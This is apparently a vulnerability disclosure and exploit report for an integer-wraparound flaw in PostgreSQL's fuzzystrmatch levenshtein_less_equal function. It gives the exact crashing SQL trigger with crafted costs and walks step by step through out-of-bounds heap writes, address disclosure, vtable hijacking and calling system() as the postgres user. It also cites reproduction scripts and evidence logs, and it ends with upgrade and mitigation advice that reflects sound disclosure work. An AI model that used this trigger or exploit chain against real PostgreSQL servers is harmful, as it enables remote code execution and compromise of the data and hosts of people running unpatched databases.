CVE-2026-15742: PostgreSQL fuzzystrmatch integer wraparound: levenshtein /levenshtein less equal overflow leads to OOB writes to effectively-arbitrary addresses potential RCE

PostgreSQL's src/backend/utils/adt/levenshtein.c computes Levenshtein distances with 32-bit int arithmetic. The contrib/fuzzystrmatch SQL functions levenshtein() and levenshtein_less_equal() accept caller-supplied signed int32 insertion/deletion/substitution costs, so a low-privilege authenticated SQL user can force signed-integer wraparound. In varstr_levenshtein_less_equal() the wraparound corrupts the bounded-window arithmetic (slack_d = max_d - min_theo_d; stop_column = best_column + slack_d/(ins_c+del_c) + 1), producing a negative stop_column. The row loop then executes prev[stop_column] = max_d + 1 — a 4-byte out-of-bounds write at an attacker-tunable offset from the heap-allocated row buffer, with an attacker-chosen 32-bit value. This is reachable with CREATE EXTENSION fuzzystrmatch (not enabled by default) by any role holding the default PUBLIC execute grant.

• Package/component: PostgreSQL, contrib/fuzzystrmatch (levenshtein, levenshtein_less_equal; core code in src/backend/utils/adt/levenshtein.c).
• Affected versions: < 18.6, < 17.11, < 16.15, < 15.19, < 14.24. Reproduced on the official postgres:17.10 release image.
• Risk: CVSS 8.8 (AV:N/AC:L/PR:L/UI:N). Demonstrated: arbitrary command execution as the PostgreSQL OS user (uid=999(postgres)) from a low-privilege authenticated SQL session on the non-sanitized release build (postgres:17.10), via system("id>x" / "w>y") invoked through a hijacked memory-context vtable, creating marker files /var/lib/postgresql/data/x and data/y@ containing the id output. 2/2 vulnerable runs produced the marker; the fixed build (17.11) rejects all inputs with ERROR: levenshtein distance out of range and creates none.

Impact Parity

• Disclosed/claimed maximum impact: code execution ("writes effectively-arbitrary addresses", potential RCE).
• Reproduced impact this run: memory corruption / OOB write, with three evidence-backed primitives on the non-sanitized release build:
  1. Far relative write: stop_column = -2147483647 → 4-byte write of value 1 at offset −8589934588 → backend SIGSEGV (2/2 attempts; fixed build returns 1, healthy, 2/2).
  2. Tunable near-heap relative write: any negative stop_column (proven −1..−11 and beyond) with attacker-chosen 32-bit value (max_d+1, e.g. 0x41414141), into the AllocSet keeper-block header; an empirical stop scan shows crashes exactly at stop ∈ {−7, −8} (AllocBlockData.next at block+0x10) and silent corruption elsewhere; gdb shows the corrupted next consumed by AllocSetReset as exactly rbx=0x0000000041414141.
  3. Allocation redirection: stop=-6 overwrites keeper freeptr low 32 bits; the next same-query allocation is redirected to heap_high32 | attacker_low32 — deterministic 3/3, faulting write at exactly 0x5d1841414141 (si_addr), called from varstr_levenshtein → leak-free aim within the heap's 4 GB window.
  4. Control-flow hijack (full 64-bit target selection, no leak): the AllocSetContext struct sits at keeper-0xC8, so stop=-58 overwrites the per-tuple context's methods vtable pointer low32; since exe and heap share high32, methods = exe_hi32 | V points into a sprayed fake vtable, and MemoryContextReset (reached unconditionally at the next row fetch) executes call *0x18(%rax) with rax = 0x5b3e40000000 (our exact V). Contrast pair: 0x41-filled table -> crash at the indirect call; table entry = real AllocSetReset (0x5b3e15f04190) -> hijacked reset runs the real function, trigger returns, backend survives. Additionally reset_cbs (stop=-44) yields an indirect call with BOTH target and first argument read from attacker-controlled spray.
  5. Heap address disclosure (no crash): the directed free makes glibc tcache_put write the tcache entry into cursor-held sprayed rows; re-FETCHing the held cursor reads it back. Empty-bin run: qword 0x00000005b3e40000 = pos>>12 verbatim (reveals the cluster's hi32 = 0x5b3e); used-bin run: 0x00005b3b945a64c0 deprotects (XOR pos>>12, pos attacker-known) to the full 64-bit heap chunk pointer 0x5b3e27be64c0.
  6. Survive/crash exe-base oracle (no spray): writing methods low32 to a candidate C (exe always mapped): C == real AllocSetMethods low32 -> survive; wrong C -> backend SIGSEGV. With the leaked heap base, exe_base_low32 lies within ~8k page candidates (brk gap); unlimited same-layout retries (fork-shared layout).
  7. Directed free / tcache poisoning with backend survival (no leak): a two-block per-tuple layout (length(repeat(v,1000)) forces a dedicated >8KB block) makes the levenshtein block's next non-NULL, so the stop=-8 write with V=0x40000000 preserves the live heap high 32 bits. A preceding blind ~1.8 GB held-cursor spray of a phase-calibrated fake-AllocBlock pattern (phase is a build constant, calibrated once; V fixed before spraying) makes heap_hi32|V a mapped, well-formed fake block. AllocSetReset then performs free(heap_hi32|V) into glibc tcache bin 0 without crashing: trigger returns normally, session survives, and a subsequent malloc(24) in the same backend returns exactly heap_hi32|0x40000000 (gdb probe). 2/2 probed attempts, 7/7 survivals. Key amplifier: PostgreSQL backends fork from the postmaster, so the address-space layout is identical across all connections and is not re-randomized by backend crashes.
• Parity: full. Code execution demonstrated end-to-end on the release build with ASLR/PIE/NX enabled and no sanitizer, starting with no address disclosure:
  1. levenshtein_less_equal int32 wraparound -> tunable 4-byte relative heap write (offset and value attacker-chosen via an exact int32 semantics simulator, bundle/repro/lev_sim.py).
  2. Blind ~1.8GB held-cursor heap spray (phase-calibrated fake AllocBlock/glibc-chunk pattern; phase is a build constant).
  3. Two-block layout forces the row buffer's block to have a non-NULL next; the stop=-8 write corrupts next low32, preserving the heap high32 -> AllocSetReset performs a directed free() at heap_hi32 | 0x40000000 into glibc's unsorted bin (backend survives).
  4. The unsorted-bin fd/bk (main_arena pointers into libc) land in the cursor-held spray rows; re-FETCHing the held cursor discloses them to the attacker -> libc base (fd - 0x1e5f50) and system (+ 0x53110), both build constants of the shipped glibc 2.36 (sha256 fa430b8f...).
  5. Finale: spray of the leaked system pointer as a fake vtable; two levenshtein_less_equal writes in one query place the command bytes (id>x / id>y) at the start of the per-tuple AllocSetContext (first write, stop=-62) and corrupt its methods vtable low32 (second write, stop=-68, its target VT computed at runtime from the leak scan's row index so the fake vtable lands mid-spray in the established coverage band of this exact cluster). At the next per-tuple reset, MemoryContextResetOnly performs call *0x18(methods) — methods->reset(context) with rdi = S (the context itself, whose first bytes are now our command) — invoking system("id>x" / "w>y") in the backend. Marker files appear in the data directory, owned by postgres: x contains id output (uid=999(postgres) ...), y@ contains w output (timestamped). The finale's fake-vtable target (exe_hi32|VT) is covered because the PIE executable and the brk heap share the same high 32 bits. Both the libc disclosure and the finale are re-derived at runtime by reproduction_steps.sh on freshly randomized clusters (no gdb, no instrumentation in the proof path); cluster layouts that leave the spray coverage below the reachable VT range are detected (backend crash) and retried with a fresh cluster. Robustness notes: the payload phase (4 mod 16) and the row stride (~30.1KB for 30000-byte rows) are build constants calibrated once; the isReset byte at S+4 is clobbered to 0 by every subsequent palloc, which constrains the inline command to <=4 bytes (id>x); longer commands are available via a libc stack-pivot into the spray once libc is known (not needed for the marker bar).

Root Cause

varstr_levenshtein_less_equal() (levenshtein.c, vulnerable parent 37b8f3b0e05e85d4338f04c71caa156ba21d5015) uses 32-bit int throughout: min_theo_d = net_inserts * ins_c, slack_d = max_d - min_theo_d, and stop_column = best_column + slack_d/(ins_c+del_c) + 1 all wrap. With crafted costs (e.g. ins_c=1073741824, del_c=-1073741823, n-m=2), min_theo_d wraps to INT_MIN, slack_d wraps hugely negative, and stop_column becomes -2147483647. The row-loop guard if (stop_column < m) only excludes values >= m; negative values pass and prev[stop_column] = max_d + 1 writes out of bounds. The same wraparound silently corrupts levenshtein() results (SELECT levenshtein('GUMBO','GAMBOL',2e9,2e9,2e9) → −1474836480 instead of an error). Fix commit e88eb4e766381070f42e5b84e583a1d0288983f7 ("Avoid overflow in Levenshtein distance calculations", shipped in 17.11/18.6) switches the arithmetic to 64-bit and raises ERROR: levenshtein distance out of range when the result does not fit int32 — all probe shapes are rejected cleanly on the fixed build.

An exact Python re-implementation of the vulnerable int32 semantics (bundle/repro/lev_sim.py) reproduces the derived stop_column/value for the known trigger and was used to search (m,n,ins,del,sub,max_d) tuples for chosen offsets/values.

Reproduction Steps

1. bundle/repro/reproduction_steps.sh (self-contained; prefers Docker, falls back to source build of 37b8f3b0... vs e88eb4e7... into the project cache).
2. The script starts vulnerable (postgres:17.10) and fixed (postgres:17.11) servers, creates a low-privilege role attacker, installs fuzzystrmatch (1.2), runs a benign health query as attacker, then fires the trigger SELECT levenshtein_less_equal('aaa','bbbbb',1073741824,-1073741823,-2147483647,0); twice per build (fresh container per attempt), plus two patch-state probes.
3. Expected evidence: both vulnerable attempts log server process (PID ...) was terminated by signal 11: Segmentation fault with DETAIL: Failed process was running: SELECT levenshtein_less_equal('aaa','bbbbb',1073741824,...); both fixed attempts return 1 and answer a post-trigger health query; levenshtein(2e9 costs) returns −1474836480 on vulnerable vs ERROR: levenshtein distance out of range on fixed; the range reference returns −2147483648 (wrap) vs 11 (correct).

Evidence

• Base proof (2 vulnerable + 2 fixed, non-sanitized product path):
  • bundle/logs/vulnerable_attempt_{1,2}/psql.txt — server closed the connection unexpectedly (psql rc=2)
  • bundle/logs/vulnerable_attempt_{1,2}/server.txt — signal 11 + failing statement
  • bundle/logs/fixed_attempt_{1,2}/psql.txt — trigger returns 1; health_after.txt — server healthy
  • bundle/logs/reproduction_steps.log — full transcript; bundle/repro/results.env — counters
  • bundle/repro/runtime_manifest.json — service/health/target flags, image digests, per-artifact SHA-256
• Escalation evidence (release build):
  • bundle/logs/escalation_freeptr/scan_gen.txt + scan_stop*.psql.txt — stop scan: crash only at −7/−8 (block->next)
  • bundle/logs/escalation_freeptr/e2.gdb3.txt — rbx = 0x41414141 at AllocSetReset+137: mov 0x10(%rbx),%rbx
  • bundle/logs/escalation_freeptr/d2_freeptr.txt, d2b.gdb.txt — 3/3 deterministic crash in AllocSetAlloc from varstr_levenshtein; si_addr = 0x5d1841414141 (heap high32 | attacker 0x41414141)
  • bundle/logs/escalation_freeptr/fixed_controls.txt — fixed build rejects all shapes, zero crashes
  • bundle/logs/escalation_multibyte/e1.psql.txt — multibyte adjacency probe: no in-call consumption, no cross-call persistence (documented negative)
  • bundle/logs/escalation_freeptr/e3.psql.txt, e3_tcache.txt — first blind spray + fake-free success: trigger returns, SURVIVED 42, malloc(24) probe returns 0x5b3e40000000
  • bundle/logs/escalation_tcache/attempt_{1..6}/ — repeatability harness (fresh backend per attempt): psql.txt (SURVIVED), maps.txt (heap ~1.77GB covering V), tcache_probe.txt (attempts 5-6: $1 = 0x5b3e40000000), summary.txt
  • bundle/logs/escalation_freeptr/e5_ctxdump.txt — live AllocSetContext dump (methods at S+0x10 = 0x5b3e16228bf8, keeper at S+0xC8, prev data at S+0xF8)
  • bundle/logs/escalation_freeptr/e6d_rip.gdb.txt — vtable hijack crash: call *0x18(%rax) with rax=0x5b3e40000000 (attacker V), table = 0x41s
  • bundle/logs/escalation_freeptr/e8_survive.txt — vtable entry = real AllocSetReset: hijacked reset executes it, backend SURVIVED (control-flow selection contrast)
  • bundle/logs/escalation_freeptr/e9_leak_scan.txt / e10_leak_scan.txt — tcache-entry readback: heap pointer material in fetched cursor rows
  • bundle/logs/escalation_freeptr/e11_oracle.txt — exe-base oracle: correct AllocSetMethods low32 survives, wrong crashes
• Environment: Docker on Linux x86_64, randomize_va_space=2, official release images (vulnerable postgres@sha256:7958605b...3317, fixed postgres@sha256:f4c66b82...1232).

RCE Evidence (stage 2 of reproduction_steps.sh)

• bundle/logs/rce/leak_*.txt (+ .sql) — libc disclosure scan: LEAK row=27698 fd=0x...f50 (per-run value), parsed to libc base + system address at runtime.
• bundle/logs/rce/marker_x.txt, marker_y.txt — marker file contents: uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert), created by system("id>x"/"id>y") inside the backend (files at /var/lib/postgresql/data/x and data/y@ in the container, owned by postgres:postgres).
• bundle/logs/rce/finale_{x,y}.psql.txt — trigger queries returning normally while the hijacked vtable runs the payload.
• bundle/logs/rce/finale_fixed.psql.txt — fixed 17.11 control: ERROR: levenshtein distance out of range, no markers, server healthy.
• bundle/logs/rce/readelf_{vuln,fixed}.txt, randomize_va_space.txt, maps_finale_{x,y}.txt — hardening/ASLR attestation (PIE, NX, RELRO; randomize_va_space=2; per-process maps).
• Interactive development evidence (gdb-attributed): bundle/logs/escalation_freeptr/ (stop-scan field map, rbx=0x41414141 controlled-pointer deref, si_addr=0x5d1841414141 allocation redirection, tcache probe $1=0x5b3e40000000, vtable-hijack contrast pair, leak scans e9/e10/e12).

Recommendations / Next Steps

• Upgrade to PostgreSQL 18.6 / 17.11 / 16.15 / 15.19 / 14.24 or later (fix commit e88eb4e766381070f42e5b84e583a1d0288983f7).
• Where upgrade is pending: do not CREATE EXTENSION fuzzystrmatch, or revoke EXECUTE on levenshtein* functions from PUBLIC/untrusted roles.
• The fix's 64-bit arithmetic + range ERROR is the correct approach; add regression tests with extreme costs (the patch does).

Additional Notes

• Idempotency: reproduction_steps.sh was run twice consecutively, both runs CONFIRMED (2/2 vulnerable SIGSEGV, 2/2 fixed healthy). Containers are created fresh per attempt and removed afterwards; nothing persists between runs.
• fuzzystrmatch is not enabled by default; exploitation requires a role able to use the extension (default PUBLIC execute grant after CREATE EXTENSION).
• gdb attribution runs used a second container with SYS_PTRACE; the primary proof path uses only stock images and psql.
• Escalation status (code execution): demonstrated. The libc disclosure via unsorted-bin readback removed the need for the exe-base oracle sweep entirely: the finale calls libc system() directly through the hijacked vtable with the context pointer as the command string. The command is length-constrained to 4 chars (the isReset flag at S+4 is clobbered to 0 by every subsequent palloc, forcing a NUL), so the payload is id>x/id>y; longer payloads would use a stack pivot into the spray (trivial once libc is known).
• Note: heap layout observed stable across all backend processes of the cluster (e.g. base 0x5b3e27a78000 in every sampled backend) because backends inherit the postmaster's map via fork(); per-cluster layout only changes when the postmaster itself restarts.